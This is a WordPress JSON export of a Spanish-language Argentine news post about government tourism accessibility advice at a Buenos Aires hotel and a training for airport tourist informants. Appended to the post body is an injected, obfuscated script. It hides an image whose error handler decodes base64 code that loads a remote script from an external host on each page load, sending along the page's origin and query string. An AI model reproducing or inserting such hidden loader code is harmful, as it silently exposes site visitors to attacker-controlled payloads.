{"id":16394,"date":"2024-08-21T12:28:21","date_gmt":"2024-08-21T15:28:21","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=16394"},"modified":"2025-08-13T15:48:50","modified_gmt":"2025-08-13T18:48:50","slug":"mas-acciones-de-accesibilidad-y-formacion-turistica","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/08\/21\/mas-acciones-de-accesibilidad-y-formacion-turistica\/","title":{"rendered":"M\u00e1s acciones de accesibilidad y formaci\u00f3n tur\u00edstica"},"content":{"rendered":"\n<h3 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-330eac76748135eb4fff1500421c9a3b\" style=\"background-color:#066ba5\"><em>En el plan de mejoras continuas para el sector.<\/em><\/h3>\n\n\n\n<p>La Subsecretar\u00eda de Turismo de la Naci\u00f3n, a trav\u00e9s de la Direcci\u00f3n Nacional de Calidad e Innovaci\u00f3n Tur\u00edstica, sigue avanzando en el\u00a0<strong>asesoramiento y capacitaci\u00f3n<\/strong>\u00a0para continuar con la implementaci\u00f3n de los programas en post de la calidad tur\u00edstica.<\/p>\n\n\n\n<p><strong>Directrices de Accesibilidad para Espacios y Servicios Tur\u00edsticos<\/strong><\/p>\n\n\n\n<p>Se brind\u00f3 asesoramiento t\u00e9cnico en el Recoleta Grand Hotel, en la Ciudad de Buenos Aires, para verificar avances de las nuevas obras que est\u00e1n llevando a cabo y sus condiciones de accesibilidad. Este alojamiento ya fue distinguido en a\u00f1os anteriores por las&nbsp;<strong>Directrices de Accesibilidad para Espacios y Servicios Tur\u00edsticos<\/strong>.<\/p>\n\n\n\n<p>Estas Directrices buscan guiar el accionar de organizaciones para&nbsp;<strong>reducir barreras arquitect\u00f3nicas, comunicacionales y actitudinales<\/strong>, y lograr as\u00ed plena inclusi\u00f3n en el servicio.<\/p>\n\n\n\n<p>El hotel se encuentra actualmente en obras por remodelaci\u00f3n y ampliaci\u00f3n, y en esta ocasi\u00f3n se solicit\u00f3 a la Subsecretar\u00eda el&nbsp;<strong>asesoramiento t\u00e9cnico<\/strong>&nbsp;para verificar que los nuevos espacios y servicios cumplan con las&nbsp;<strong>condiciones de accesibilidad<\/strong>&nbsp;requeridas por el programa.<\/p>\n\n\n\n<p>En la visita participaron referentes de accesibilidad de la\u00a0<strong>Subsecretar\u00eda de Turismo<\/strong>, de la\u00a0<strong>Agencia Nacional de Discapacidad<\/strong>, del\u00a0<strong>Ente de Turismo de la Ciudad de Buenos Aires<\/strong>, y de la\u00a0<strong>Comisi\u00f3n para la Plena Participaci\u00f3n e Inclusi\u00f3n de las Personas con Discapacidad<\/strong>, quienes recorrieron y analizaron la accesibilidad de las nuevas habitaciones, sanitarios accesibles y espacios comunes,\u00a0<strong>proponiendo nuevas indicaciones y sugerencias<\/strong>.<\/p>\n<p>\u00a0<strong>Taller de Capacitaci\u00f3n \u201cEl Informante Tur\u00edstico como comunicador de alto impacto\u201d<\/strong><\/p>\n\n\n\n<p>En el marco de las acciones de articulaci\u00f3n entre la&nbsp;<strong>Direcci\u00f3n Nacional de Calidad e Innovaci\u00f3n Tur\u00edstica y el Instituto Nacional de Promoci\u00f3n Tur\u00edstica (INPROTUR)<\/strong>, se brind\u00f3 una&nbsp;<strong>capacitaci\u00f3n virtual para los informantes tur\u00edsticos<\/strong>&nbsp;de los centros de informaci\u00f3n del Aeroparque Jorge Newbery y del Aeropuerto Internacional de Ezeiza.<\/p>\n\n\n\n<p>Esta actividad, en la que participaron m\u00e1s de 20 informantes, tuvo como objetivo&nbsp;<strong>fortalecer sus competencias<\/strong>&nbsp;mediante la formaci\u00f3n en su rol como anfitriones tur\u00edsticos y en las habilidades necesarias para una comunicaci\u00f3n efectiva.<\/p>\n\n\n\n<p>Se abord\u00f3 la importancia del lenguaje verbal y no verbal para\u00a0<strong>superar barreras de comunicaci\u00f3n<\/strong>\u00a0mediante la escucha activa y emp\u00e1tica. Adem\u00e1s, se brindaron herramientas pr\u00e1cticas para la gesti\u00f3n eficaz de reclamos, con el fin de\u00a0<strong>optimizar la calidad del servicio<\/strong>\u00a0y la experiencia del visitante.<\/p>\n<p>\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.argentina.gob.ar\/sites\/default\/files\/foto_taller_1.png\" alt=\"\"\/><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>En el plan de mejoras continuas para el sector. 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